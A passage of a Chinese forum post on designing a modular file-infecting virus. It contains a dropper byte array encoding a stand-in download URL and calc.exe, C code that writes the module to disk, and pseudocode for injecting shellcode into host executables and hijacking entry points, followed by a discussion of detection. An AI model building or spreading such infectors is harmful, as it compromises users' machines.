         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x31, 0x32, 0x37, 0x2E, 0x30, 0x2E, 0x30, 0x2E, 0x31,

         0x2F, 0x78, 0x2E, 0x62, 0x69, 0x6E, 0x00, 0x63, 0x3A, 0x5C, 0x77, 0x69, 0x6E, 0x64, 0x6F, 0x77,

         0x73, 0x5C, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00, 0x6D, 0x6F, 0x64, 0x65, 0x6C,

         0x20, 0x54, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00

};

这样每一个模块T都会被释放到不同的随机路径下,假设为c:\t.exe


void main()

{

   ...

   create_model_t("c:\\t.exe")

   ...

}


bool create_model_t(const char *lpfile)

{

   HANDLE hTargetFile = CreateFile(lpfile, GENERIC_ALL,0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL)

   if (hTargetFile == INVALID_HANDLE_VALUE)

   {

       printf("CreateFile() : error %d\n", GetLastError())

       return FALSE

   }

   DWORD dwlen = 0

   WriteFile(hTargetFile,data,2560,&dwlen,0)

   CloseHandle(hTargetFile)

}   


    3.4.整体框架


         void frame()

         {

              获得一组随机感染的路径t[0...m]

              获得每一个被感染的文件的file_buf


              memcpy(t_buf,shellcode_model_s,model_s_size)

              memcpy(t_buf+model_s_size,exe_path,path_len) exe_path 包含在t[0...n]

              crypt_shellcode(t_buf)


              搜索file_buf的空穴;


              if 存在大于model_s_size + path_len 空间的空穴

                 注入t_buffile_buf中;

              else

                 寻找下一个文件


              修改被模块s注入后的文件入口,使模块s获得控制权;


              获得一组随机感染的路径t[0...n]

              释放模块T到这些了路径下;


              获得一个t[0...m]中未被模块s感染的文件k


              拷贝整体CV到文件k,获得控制权;

         }


         限于考虑本篇讨论的主要是技术思路及安全方面因素,不给出源代码及实例演示。         


[0x04].检测讨论   


    假设有一个依据传染性的检测计算机病毒的程序P,那么从病毒检测的对象上看,实体文件只有病毒文件CV,及释放的模块T,依据病毒检测原理可知,程序P一定存在误报,当某个被CV感染的程序执行时,它即把CV重新感染给了其它程序,同时也释放了模块T,及隐藏的模块S,由于CV本身具有传染性,可以被P检测出来,可以清除掉。假设模块T可以依据破坏性由P之外的程序检测并清除。但隐藏模块S本身不具有传染性,不能被P检测出来,因而仍保留在系统当中。若要重新激活病毒,只需重新引入一个激活程序释放一个T'即可,由于T'不具有传染性,P不能检测它,所以组合病毒仍然在系统中存在。


    以上是从原理检测角度来看组合病毒的,实际的反病毒引擎设计中要简化的多,因为无论是模块T、还是文件CV,都可以由特征检测清除,隐藏模块S也可以由引擎的算法扫描进行修复,当然这部分主要取决于隐藏模块S的复杂程度,这样CV,T,S都可以被清除,只不过对引擎来说,这已经不是针对一个病毒的修检测修复了,是3既有联系各自独立的病毒清除程序。特别是隐藏模块S如果不被清除,CV可以不断的更新激活程序来获得重新运行机会。而且组合病毒原理定义中表明可以有n多个隐藏函数。这些都将为彻底的清除带来一定的困难,所以对这方面的安全研究更多的还是从防御方面入手比较好。

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

pluckljn 发表于 2010-3-24 16:38
:)eee很好很强大哈学习了
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-4-30 09:13

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表